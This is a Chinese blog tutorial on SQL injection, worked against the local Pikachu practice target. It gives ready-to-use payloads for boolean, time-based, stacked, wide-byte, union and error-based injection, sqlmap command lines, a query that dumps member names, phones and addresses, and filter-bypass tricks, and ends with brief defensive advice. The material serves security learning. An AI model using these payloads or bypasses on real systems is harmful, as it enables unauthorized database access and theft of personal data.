网络安全-SQL注入原理、攻击及防御(2)

本文涉及的产品
RDS MySQL DuckDB 分析主实例,集群系列 4核8GB
RDS MySQL DuckDB 分析主实例,基础系列 4核8GB
RDS AI 助手,专业版
简介: 网络安全-SQL注入原理、攻击及防御(2)

Boolean注入攻击

基于布尔判断的攻击

根据前面知道有个用户名是vince。

vince' and length(database())=7#

2020062310470442.png

                  没有错误

此时,条件语句where username='vince' and length(database())=7是True,也就是说数据库长度为7。

vince' and substr(database(),1,1)='p'#

2020062310470442.png

                   字符

vince' and ascii(substr(database(),1,1))=112#

2020062310470442.png

                     ascii

vince' and ascii(substr(database(),2,1))=105#

上面是数据库名第二字符'i'的,数据库名出来后再将database()改为select语句去找表名等,一般是写脚本,一个个的手工判断时间太长,有时间写了脚本再来更新,或者使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=B -dbms mysql --threads 5 -v 3 -dbs --batch

2020062310470442.png

                               基于boolean的

使用的是MID函数,和substr一样。在网络安全-Mysql注入知识点中有这个函数的用法。

Time注入攻击

基于时间的攻击,利用if、sleep、benchmark、get_lock等函数,使用rpad或repeat构造长字符串,加RLIKE,利用多个大表的笛卡尔积。


GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),这种绕过方法是存在限制条件的,即数据库的连接必须是持久连接

vince' and if(length(database()=7),sleep(3),1)#

2020062310470442.png

                            3秒后后显示

同样,也是写脚本,通过返回的时间长短判断,可使用sqlmap。

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name=d&submit=%E6%9F%A5%E8%AF%A2" --technique=T --time-sec 2 -dbms mysql --threads 5 -v 3 -dbs --batch

2020062310470442.png

                                       时间注入

太慢了,有其他办法不建议使用这个。

Stack注入攻击

需要后台代码是可以执行多条sql语句的,php中是使用PDO方式执行多条语句。

堆叠注入攻击可以执行多条语句,多语句之间以分号隔开。利用这个特点可以在后面的语句中构造自己要执行的语句。

获取数据库、表(单引号闭合)

';show databases;show tables;%23

2020062310470442.png

                                              sqlmap

可以看到sqlmap中注入技术选择S时,payload中是含分号的。

--------------------------------------接下来是比较特殊/高级的sql绕过注入--------------------------------

inline Query绕过注入攻击

内联查询注入攻击

宽字节绕过注入

宽字节是在一些特定的编码,如GBK中才有的,编码将两个字节认为是一个汉字(前一个字符ascii码要大于128,才到汉字的范围)。addslashes函数为了防止sql注入,将传入参数值进行转义,将' 转义为\',单引号失去作用。因此,我们需要将\给绕过,这样才可以加'号。

2020062310470442.png

                                  \'编码

\编码为%5C,我们一般在地址后添加%df。

2020062310470442.png

                                   绕过\

添加后\变成了汉字,这样就绕过了。之后就和前面的一样了,当然,还有双引号等,除了GBK还有GB2312等编码,有兴趣的可以整理一下所有的。

为了方便理解,修改一下源代码,打印一下sql语句 。

2020062310470442.png

                                             修改源代码

2020062310470442.png

                                转义

%df%5C%27 or 1=1#

后端及数据库设置字符集为GBK,或其他低位为%5C的字符集。

Pikachu其他题目

火狐浏览器及插件hackbar v2。

数字型注入

参数为数字,一般是id等。

2020062310470442.png

                                      参数

参数为id和submit,其中id为整型。

猜测sql语句形式为

select userid from users where id = 参数

注入点判断

id=1 and 1=1&submit=查询
id=1 and 1=2&submit=查询

字段数确定

id=3 order by 3&submit=查询

2020062310470442.png

                                         3时报错

我就从2开始的,靶机的一般不会太大。真实的网络实战的话还是自己写脚本或使用sqlmap。

查询当前数据库

id=1 union select 1,database()&submit=查询

2020062310470442.png

                                  数据库pikachu

查询当前表

由于火狐对hackbar的一些限制,插件无法正常运行sql语句,就使用Navicat了。如果你不是最新版火狐的话可以试一试。

post data应该是这样的

UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database()&submit=查询

实际sql语句执行是这样的

2020062310470442.png

                                            当前列

查询当前字段

post data应该是这样的

id=1 UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member&submit=查询

实际sql语句执行是这样的

2020062310470442.png

                             用户名,手机号,住址

0x3a是冒号的ASCII码

一次手工注入的基本过程如上所述,接下来大部分只讲原理,有特殊的地方再提示。

字符型注入

将参数以字符或字符串形式读入,通过闭合+注释的方式来进行SQL注入,一般是'或",或者结合()。

判断闭合

2020062310470442.png

                               标题

获取数据

http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=d'union select 1,database()--+&submit=%E6%9F%A5%E8%AF%A2

2020062310470442.png

                                     获取数据库名

后面的和之前的差不多。

搜索型注入

其实也算是字符型注入

搜索一般sql语句如下,

select * from users where username like '%$name'

2020062310470442.png

                               测试闭合字符

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=frankyu'or 1=1--+&submit=%E6%90%9C%E7%B4%A2

2020062310470442.png

                         获取所搜索表所有内容

使用'or 1=1,条件判断为TRUE,所有的都返回,想获取其他的你就从前面常用语句去粘贴就行了。

xx型注入

注入判断

2020062310470442.png

                                 frankyu'判断

我还以为书上没写的呢,其实还是字符型,只不过需要两个字符去闭合,就是前面提到的(),sql语句类型下面这种。

select * from users where username = ('$name')

不写了,和前面的差不多。

"insert/update"注入

2020062310470442.png

                                              标题

1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)and'

0x7e是~,结果如下:

2020062310470442.png

                                        数据库

"delete注入"

和上面的差不多,id那里可以报错注入,可以使用Burpsuite进行抓包。

宽字节注入

博主数据库编码设置的utf-8,就不演示了,其实除了加一个%df外也没什么特别的地方,也可以使用其他的,sqlmap中有temper脚本进行绕过,使用的是%bf。

2020062310470442.png

                                    tamper脚本

绕过

大小写绕过

sql语句对一些关键词不区分大小写,如果网站代码没有进行大小写检查可以使用

UniOn select * from user

双写绕过

网站代码找到关键词后删除,可以通过双写构造删除后符合语法的sql语句

selselectect * from user

内联注释

mysql扩展功能,在/*后加惊叹号,注释中的语句会被执行

and /*!select * from user*/

注释符绕过

注释符不影响语句的连接,

sel/**/ect * from user

or/and绕过

使用逻辑符号代替:and = &&, or = ||

select * from emp where sal > 500 && sal < 3000;

空格绕过

有的网站过滤了空格,可以尝试使用

%0a、%b、%0c、%0d、%09、%a0

或者

/**/、()

例如

select * from/**/emp where (sal) > 500 && sal < 3000;

等价于

 select * from emp where sal > 500 and sal < 3000;

防御SQL注入的方法

使用预编译语句

绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。

使用存储过程

使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。

检查数据类型

例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。

使用安全函数

各个厂商都有一些安全函数,例如,微软SQL安全函数

关于如何进行sql注入及靶机实战,可以参考下方链接。

未完待续...

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。

相关实践学习
如何快速连接云数据库RDS MySQL
本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
相关文章
|
8月前
|
存储 SQL 关系型数据库
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
mysql底层原理:索引、慢查询、 sql优化、事务、隔离级别、MVCC、redolog、undolog(图解+秒懂+史上最全)
|
11月前
|
SQL 安全 关系型数据库
SQL注入之万能密码:原理、实践与防御全解析
本文深入解析了“万能密码”攻击的运行机制及其危险性,通过实例展示了SQL注入的基本原理与变种形式。文章还提供了企业级防御方案,包括参数化查询、输入验证、权限控制及WAF规则配置等深度防御策略。同时,探讨了二阶注入和布尔盲注等新型攻击方式,并给出开发者自查清单。最后强调安全防护需持续改进,无绝对安全,建议使用成熟ORM框架并定期审计。技术内容仅供学习参考,严禁非法用途。
1651 0
|
7月前
|
算法 安全 网络安全
【多智能体系统】遭受DoS攻击的网络物理多智能体系统的弹性模型预测控制MPC研究(Simulink仿真实现)
【多智能体系统】遭受DoS攻击的网络物理多智能体系统的弹性模型预测控制MPC研究(Simulink仿真实现)
283 0
|
10月前
|
SQL 存储 自然语言处理
SQL的解析和优化的原理:一条sql 执行过程是什么?
SQL的解析和优化的原理:一条sql 执行过程是什么?
SQL的解析和优化的原理:一条sql 执行过程是什么?
|
11月前
|
SQL 人工智能 自然语言处理
Text2SQL圣经:从0到1精通Text2Sql(Chat2Sql)的原理,以及Text2Sql开源项目的使用
Text2SQL圣经:从0到1精通Text2Sql(Chat2Sql)的原理,以及Text2Sql开源项目的使用
Text2SQL圣经:从0到1精通Text2Sql(Chat2Sql)的原理,以及Text2Sql开源项目的使用
|
11月前
|
边缘计算 网络协议 安全
DDoS攻击:网络世界的“洪峰考验”与应对逻辑
本文介绍了DDoS攻击的运行机制及其影响,并提供了多层次的防御策略。DDoS攻击通过海量流量使目标服务器过载,造成服务中断,对电商和在线平台带来巨大经济损失与用户信任危机。防御措施包括基础设施优化、流量调度及云端协同防护等技术手段。针对中小企业,推荐使用如非凡云提供的弹性防护方案,含200G免费DDoS防御与自动带宽扩容功能,有效降低攻击风险和技术门槛。
927 0
DDoS攻击:网络世界的“洪峰考验”与应对逻辑
|
12月前
|
SQL 缓存 Java
框架源码私享笔记(02)Mybatis核心框架原理 | 一条SQL透析核心组件功能特性
本文详细解构了MyBatis的工作机制,包括解析配置、创建连接、执行SQL、结果封装和关闭连接等步骤。文章还介绍了MyBatis的五大核心功能特性:支持动态SQL、缓存机制(一级和二级缓存)、插件扩展、延迟加载和SQL注解,帮助读者深入了解其高效灵活的设计理念。
|
安全 数据安全/隐私保护 网络虚拟化
如何防止网络钓鱼攻击
网络钓鱼是攻击者伪装成合法来源,通过电子邮件等手段窃取敏感信息的行为。常见特征包括通用问候语、陌生域名、制造紧迫感和包含可疑附件。为防止此类攻击,建议进行安全培训、不分享个人信息、谨慎点击链接、使用双因素认证,并保持软件更新。ADSelfService Plus提供无密码身份验证和自适应多因素认证(MFA),有效保护组织免受网络钓鱼威胁。
399 6